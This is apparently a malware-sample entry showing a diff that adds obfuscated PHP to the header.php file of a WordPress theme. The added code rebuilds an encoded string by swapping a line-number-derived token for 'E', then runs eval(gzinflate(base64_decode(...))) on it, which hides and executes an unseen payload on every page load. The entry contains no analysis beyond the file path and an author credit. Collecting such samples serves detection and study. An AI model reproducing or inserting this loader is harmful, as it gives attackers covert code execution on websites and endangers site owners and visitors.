Found on Wordpress 4.9.10 - Theme AdvanceImage5

Author: Olivier de Ram

found_on_wordpress/wp-content/themes/AdvanceImage5/header.php

@@ -0,0 +1,8 @@
+<?php
+
+
+eval("\n\$dgreusdi = intval(__LINE__) * 337;");
+//print $dgreusdi;exit();
+$a = "hVZbb9s2FH7vr+gIo5AQu0vW1674XgqXDWBV0xYw6S7m674IMkGUKIm6kBIl6uKC/72kY1lXO28Sz3du3zmHh29mP8DXzfaP280j6746748A8tjdVeDZABbPfbDqS9M674Vl6CUQr3kMKKOBpi674KkTqep674YagwIaqHiKT0OfI5VuJgJIRhmpQhkia4AuAhIA9pGtgltINuCNyBlLkwNYBj5dZQBzp1lJDSK3lNlJbCmBORhaTKS+zH3MMNDKzWmGAzQ7kG674GOUmRH1wPyffzcbvSOSh+ZenIH5pb6aQa8oXLuIg2xsJrYq6741XI5jmmxMxxjPY6aync/5kRjnGuySPsar84yMU674ORq4/+vevNtugK7/eDlrj+bgDdBXogf/89vD3Zfv24f/zMe7+9uHW/nZVZ0Sz8GvysysJLFd76ywJfMMTcJQXIwwfcqPoC5kl4fOLi6K2m/Jnh3kTy/9J8+vkbv8Y674G0uLKgs7j+aC0XN1cfnMXShTc3y4+f0G/X674Ky8i674IrmimllcuJrah9m/mmg2xWJ7mZ+FaGtJlyMp/JyuuDcL2aB674FMPOWR8tw8R674NTz0fQjXuHJ1WFAcDKpUwbQvpNLYzLkZ674B4vcsZx674iI0N95vXVMA0ekyiznLKZHDm674nNqxTcN6YtbiIiQ+TqMO/T05cXM7Ia7DHRofhnUquz5sMrvjxJ/MrHdtCP3duyGgTe2kjTYfSY0UdrIXFxfzVzi/uBiySQpCA1gStzjyWVKGMgypaw9aoiMR7w3bZxplziv1exox2X674onvX/p0z0iRqZ6FD9rMthFgzlnB674Ja3pZrMT674hPRnA8c2YtxFdOdMt0aaliRM8YkbPnQj4oVu2e6R7ny+RDSezvG49gIRowK2boQ+674h4jlL0gZNsiy/a1mfllu/37291bKzvPq/F5KO/uHTHslAATRjPOUHcnVR4lKMnPrBtqRTCqgw6LZy/aobjjVSjdg8MxsHUkiz9oORi6aV1Hg7VIWRVgVGXhcaOq5TK0273BR5yUqWfD6JhbW4L77eP3iQI0+Anue++OkaPMT4oIdi4xlkGX5yw4wWqDH/PU9/PqTpPyxpXkVagZO9ImjDUnGWLYivCu29vaGsreXl6rf+rsm7x5v674x0cVseoe/fAzhTbwgJa5a0BFmyYyduzOYtJwwVafsiaTSGDV7ViFZ5laWn9gGyUYRRmLdyGdBoTjpmlCcJVnen9BYz4tV1cnjTnd+Qt4xZtQaSAhif14ksGGKZvLA0fQ4ydQau3l8ursBcXyHbp+uW6NnRj5p7FGVoIsY2kWO674S674aI5OS+dmUDRzIni/0T";
+$a = str_replace($dgreusdi, "E", $a);
+eval (gzinflate(base64_decode($a)));